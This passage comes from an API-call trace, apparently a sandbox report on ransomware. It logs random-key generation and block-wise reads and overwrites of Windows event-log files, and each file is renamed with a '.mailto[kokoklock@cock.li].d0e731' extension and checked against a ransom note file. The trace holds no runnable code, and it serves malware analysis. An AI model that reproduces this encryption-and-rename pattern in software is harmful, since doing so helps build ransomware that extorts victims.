Seed=0x616f8a4) returned 0xfe820ade [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x9d7dfd2d [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x5b0cfcca [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x3c00155 [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xfcf6460b [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x1b336830 [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xc7c2541a [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xf21034da [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xf5431203 [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x502e8fcf [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x524f4977 [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xc3cc1358 [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x94976212 [0164.134] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6a8 [0164.136] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.136] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a860 [0164.136] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.136] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a8d8) returned 1 [0164.136] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.136] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.136] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x616f870, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x616f870*=0x4096, lpOverlapped=0x0) returned 1 [0164.137] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.137] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.137] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.137] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a608 [0164.137] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a608) returned 1 [0164.137] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.138] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.138] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.138] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x616f870, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x616f870*=0x4096, lpOverlapped=0x0) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.138] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.138] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a770*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x616f8a8, lpOverlapped=0x0 | out: lpBuffer=0x2f8a770*, lpNumberOfBytesWritten=0x616f8a8*=0x20, lpOverlapped=0x0) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.138] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a860*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x616f8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f8a860*, lpNumberOfBytesWritten=0x616f8bc*=0x8, lpOverlapped=0x0) returned 1 [0164.139] WriteFile (in: hFile=0x4a0, lpBuffer=0x616f8d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x616f8bc, lpOverlapped=0x0 | out: lpBuffer=0x616f8d4*, lpNumberOfBytesWritten=0x616f8bc*=0x4, lpOverlapped=0x0) returned 1 [0164.139] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x616f8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x616f8bc*=0x4, lpOverlapped=0x0) returned 1 [0164.139] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x616f8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x616f8bc*=0x6c, lpOverlapped=0x0) returned 1 [0164.139] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x616f8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x616f8bc*=0x20, lpOverlapped=0x0) returned 1 [0164.139] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x616f8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x616f8bc*=0x4, lpOverlapped=0x0) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6a8) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a860) returned 1 [0164.139] CloseHandle (hObject=0x4a0) returned 1 [0164.139] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x132) returned 0x2faa9f8 [0164.140] wcscpy (in: _Dest=0x2faa9f8, _Source="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731" [0164.140] wcscat (in: _Dest=0x2faa9f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.140] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.140] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa9f8) returned 1 [0164.141] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.141] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.141] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.141] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.141] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.141] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95af8) returned 1 [0164.141] RtlExitUserThread (Status=0x1) Thread: id = 1508 os_tid = 0xe6c [0164.142] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.143] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.143] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.143] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x61efc9c | out: lpFileSize=0x61efc9c*=1052928) returned 1 [0164.143] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x1010fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.143] ReadFile (in: hFile=0x4a0, lpBuffer=0x61efc70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x61efc6c, lpOverlapped=0x0 | out: lpBuffer=0x61efc70*, lpNumberOfBytesRead=0x61efc6c*=0x4, lpOverlapped=0x0) returned 1 [0164.144] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.144] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8d8 [0164.144] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.144] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a7e8 [0164.144] NtQuerySystemTime (in: CurrentTime=0x61efc48 | out: CurrentTime=0x61efc48*=132121213214590678) returned 0x0 [0164.144] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xc679d13e [0164.144] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x454e302f [0164.144] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x43b16e9a [0164.144] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x759d826a [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x7877bdb3 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x4dc82fa [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xbd2aa21b [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x53026991 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x72049a2 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x358b8304 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x549e24df [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x32ee25e3 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x4a2e17cd [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xa36d9bcc [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xf6fff0e9 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x36bc1abf [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x1979e99d [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x745bb57b [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xe4ca5da [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xb1b22196 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xf2ae866f [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x4d4e1ccb [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x4b2fb23d [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x1d04f915 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xf6f98c54 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xbdf48e40 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xfca8175a [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x352fc0a6 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0xf64cfe15 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x4984ab3a [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x23864210 [0164.145] RtlRandom (in: Seed=0x61efc54 | out: Seed=0x61efc54) returned 0x58be9335 [0164.154] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6a8 [0164.156] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0164.156] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a5e0 [0164.156] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0164.156] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a8d8) returned 1 [0164.156] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.156] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.156] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x61efc08, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x61efc08*=0x4096, lpOverlapped=0x0) returned 1 [0164.158] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0164.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a810 [0164.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a5b8 [0164.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a5b8) returned 1 [0164.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.159] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0164.159] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x61efc08, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x61efc08*=0x4096, lpOverlapped=0x0) returned 1 [0164.159] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.159] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.159] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x61efc08, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x61efc08*=0x4096, lpOverlapped=0x0) returned 1 [0164.161] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0164.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0164.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a9a0 [0164.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a9a0) returned 1 [0164.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a658 [0164.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0164.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0164.161] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x61efc08, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x61efc08*=0x4096, lpOverlapped=0x0) returned 1 [0164.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.162] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.162] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x61efc08, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x61efc08*=0x4096, lpOverlapped=0x0) returned 1 [0164.163] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f871a0 [0164.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faab10 [0164.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.163] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.164] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.164] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a5b8 [0164.164] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a608 [0164.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a608) returned 1 [0164.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faab10) returned 1 [0164.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f871a0) returned 1 [0164.164] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x61efc08, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x61efc08*=0x4096, lpOverlapped=0x0) returned 1 [0164.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.164] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a810*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x61efc64, lpOverlapped=0x0 | out: lpBuffer=0x2f8a810*, lpNumberOfBytesWritten=0x61efc64*=0x20, lpOverlapped=0x0) returned 1 [0164.164] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a658*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x61efc64, lpOverlapped=0x0 | out: lpBuffer=0x2f8a658*, lpNumberOfBytesWritten=0x61efc64*=0x20, lpOverlapped=0x0) returned 1 [0164.165] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a5b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x61efc64, lpOverlapped=0x0 | out: lpBuffer=0x2f8a5b8*, lpNumberOfBytesWritten=0x61efc64*=0x20, lpOverlapped=0x0) returned 1 [0164.165] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.165] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a5e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x61efc6c, lpOverlapped=0x0 | out: lpBuffer=0x2f8a5e0*, lpNumberOfBytesWritten=0x61efc6c*=0x8, lpOverlapped=0x0) returned 1 [0164.165] WriteFile (in: hFile=0x4a0, lpBuffer=0x61efc84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x61efc6c, lpOverlapped=0x0 | out: lpBuffer=0x61efc84*, lpNumberOfBytesWritten=0x61efc6c*=0x4, lpOverlapped=0x0) returned 1 [0164.165] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x61efc6c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x61efc6c*=0x4, lpOverlapped=0x0) returned 1 [0164.165] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x61efc6c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x61efc6c*=0x6c, lpOverlapped=0x0) returned 1 [0164.165] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x61efc6c, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x61efc6c*=0x20, lpOverlapped=0x0) returned 1 [0164.165] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x61efc6c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x61efc6c*=0x4, lpOverlapped=0x0) returned 1 [0164.165] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.166] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6a8) returned 1 [0164.166] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a5e0) returned 1 [0164.166] CloseHandle (hObject=0x4a0) returned 1 [0164.166] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x124) returned 0x2fab200 [0164.166] wcscpy (in: _Dest=0x2fab200, _Source="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.166] wcscat (in: _Dest=0x2fab200, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.166] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.167] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab200) returned 1 [0164.167] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.167] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80760 [0164.167] wcscpy (in: _Dest=0x2f80760, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.167] wcscat (in: _Dest=0x2f80760, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.167] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80760) returned 1 [0164.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.167] RtlExitUserThread (Status=0x1) Thread: id = 1509 os_tid 